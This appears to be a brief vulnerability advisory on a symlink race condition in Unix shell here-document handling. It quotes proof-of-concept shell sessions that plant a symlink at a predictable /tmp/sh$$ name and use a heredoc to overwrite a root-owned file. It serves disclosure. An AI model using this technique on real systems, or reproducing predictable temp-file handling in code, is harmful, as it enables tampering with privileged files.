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Unix Shell Redirection Race Condition Vulnerability
This example was contributed by Paul Szabo <psz@maths.usyd.edu.au> : #!/bin/ksh -x touch /tmp/silly.1 ln -s /tmp/silly.1 /tmp/sh$$.1 ls -l /tmp/silly.* /tmp/sh$$.* cat <<EOF Just some short text EOF ls -l /tmp/silly.* /tmp/sh$$.* rm /tmp/silly.* /tmp/sh$$.* This example was submitted by proton <proton@energymech.net> in an October 29th, 2001 BugTraq posting: /tmp# echo 'hello world' > rootfile /tmp# chmod 600 rootfile /tmp# ln -s rootfile sh$$ /tmp# chown -h 666.666 sh$$ /tmp# ls -l rootfile sh$$ -rw------- 1 root root 12 Oct 29 03:55 rootfile lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 -> rootfile /tmp# cat <<BAR ? FOO ? BAR FOO o world /tmp# ls -l rootfile sh$$ /bin/ls: sh12660: No such file or directory -rw------- 1 root root 12 Oct 29 03:56 rootfile /tmp# cat rootfile FOO o world /tmp# Zenith Parsec <zenith_parsec@the-astronaut.com> submitted an exploit for bash on Linux systems. |
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